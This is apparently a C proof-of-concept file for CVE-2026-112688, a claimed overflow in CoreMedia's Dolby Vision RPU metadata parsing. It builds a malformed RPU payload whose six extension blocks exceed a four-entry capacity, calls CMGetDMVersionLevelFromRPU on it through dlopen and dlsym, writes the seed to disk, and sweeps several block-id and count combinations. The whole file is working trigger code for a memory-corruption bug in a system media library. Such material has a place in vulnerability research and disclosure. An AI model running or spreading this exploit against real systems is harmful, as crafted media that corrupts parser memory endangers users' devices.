// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688 // Dolby Vision RPU metadata block array overflow // C twin of the Swift POC: builds the block-id-1 x6 grammar probe RPU and drives it // through CMGetDMVersionLevelFromRPU (dlsym from CoreMedia). // Variant cm.rpu.sweep (block-id/count grid) is run as the second half of main. // Build: clang -O2 -o cve-2026-112688 CVE-2026-112688.c -framework CoreFoundation // Run: ./cve-2026-112688 [block-count] #include #include #include #include #include // ── MSB-first bit writer (from Cinder27 Sources: BitWriter) ── typedef struct { uint8_t *d; size_t n, cap; uint8_t acc; int nbits; } bw; static void bw_put(bw *w, uint32_t value, int width) { for (int i = width - 1; i >= 0; i--) { w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1)); if (++w->nbits == 8) { if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); } w->d[w->n++] = w->acc; w->acc = 0; w->nbits = 0; } } } static void bw_expgolomb(bw *w, uint32_t value) { uint32_t v = value + 1; int bits = 0; while ((v >> bits) > 1) bits++; for (int i = 0; i < bits; i++) bw_put(w, 0, 1); bw_put(w, v, bits + 1); } static size_t bw_flush(bw *w) { if (w->nbits > 0) { if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); } w->d[w->n++] = (uint8_t)(w->acc << (8 - w->nbits)); w->acc = 0; w->nbits = 0; } return w->n; } // ── seed construction (from Cinder27 Sources: RPUPayload.probe) ── // block-id 1 has a fixed capacity of 4 entries (4 x 28 B); blockCount 6 walks past it static bw rpu_probe(uint32_t block_id, int block_count, uint32_t seed) { bw w = {0}; bw_put(&w, 0x19, 8); // magic, byte 0 bw_put(&w, 2, 6); // rpu_type = 2 (DOVI) bw_put(&w, 0x12, 11); // rpu_format bw_put(&w, seed & 0x1F, 5); bw_put(&w, 1, 4); // vdr_rpu_profile bw_put(&w, 0, 4); // vdr_rpu_level bw_put(&w, 0, 1); // vdr_seq_info_present_flag bw_put(&w, 1, 1); // chroma_resampling_explicit_filter_flag bw_put(&w, 2, 2); // coefficient_data_type bw_put(&w, 1, 1); // el_spatial_resampling_filter_flag bw_put(&w, 0, 1); // disable_residual_flag bw_put(&w, 0, 4); // nln bw_put(&w, 1, 2); // num_dm_data // DM data head: class-2 ext block loop bw_expgolomb(&w, (uint32_t)block_count); for (int i = 0; i < block_count; i++) { bw_expgolomb(&w, 0x40); // ext block length-ish bw_put(&w, block_id, 8); // block_id // block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3) bw_put(&w, 0x100 + (uint32_t)i, 12); bw_put(&w, 0x101 + (uint32_t)i, 12); bw_put(&w, 0x102 + (uint32_t)i, 12); for (int k = 0; k < 6; k++) bw_put(&w, 0x26, 8); bw_put(&w, 0x25, 8); bw_put(&w, 0x59, 8); bw_put(&w, 0x13, 8); // unlocks the u16 tail bw_put(&w, 0x0FFF & (uint32_t)(i * 0x111), 16); bw_put(&w, 0x0FFF & (uint32_t)(i * 0x222), 16); bw_put(&w, 0x0FFF & (uint32_t)(i * 0x333), 16); } return w; } // ── trigger: CMGetDMVersionLevelFromRPU (dlsym from CoreMedia) ── // macOS export signature is (CFDataRef) — verified by disassembly: arg0 is passed // through a CFRetain-style GOT call, then length/bytePtr are extracted before // FigHEVCBridge_GetRPUMetadata(bytes, length, &struct). The Swift POC drives the // 4-arg (bytes, count, u32*, u32*) surface on iOS; this C twin uses the macOS ABI. typedef int32_t (*rpu_fn)(CFDataRef); static int rpu_parse(rpu_fn fn, const uint8_t *payload, size_t n) { CFDataRef d = CFDataCreate(NULL, payload, (CFIndex)n); if (!d) return -1; int32_t rc = fn(d); CFRelease(d); return rc; } int main(int argc, char **argv) { int block_count = argc > 1 ? atoi(argv[1]) : 6; void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW); if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; } rpu_fn fn = (rpu_fn)dlsym(cm, "CMGetDMVersionLevelFromRPU"); if (!fn) { printf("CMGetDMVersionLevelFromRPU not exported\n"); return 1; } // primary probe: block-id 1 x 6 against the 4-entry capacity bw w = rpu_probe(1, block_count, 0x0BADF00D); size_t n = bw_flush(&w); FILE *f = fopen("rpu_probe_1x6.bin", "wb"); if (f) { fwrite(w.d, 1, n, f); fclose(f); } int rc = rpu_parse(fn, w.d, n); printf("CVE-2026-112688 · block-id 1 x %d (capacity 4) · rc=%d\n", block_count, rc); printf("payload %zu B · seed: rpu_probe_1x6.bin\n", n); free(w.d); // sweep variant: the (block-id, count) grid from cm.rpu.sweep printf("\nsweep:\n"); const uint32_t ids[3] = {1, 2, 6}; const int counts[3][3] = {{5, 6, 8}, {9, 12, 16}, {6, 8, 10}}; for (int g = 0; g < 3; g++) { for (int c = 0; c < 3; c++) { bw s = rpu_probe(ids[g], counts[g][c], 0x0BADF00D); size_t sn = bw_flush(&s); int src = rpu_parse(fn, s.d, sn); printf("id=%u count=%-2d → rc=%d\n", ids[g], counts[g][c], src); free(s.d); } } return 0; }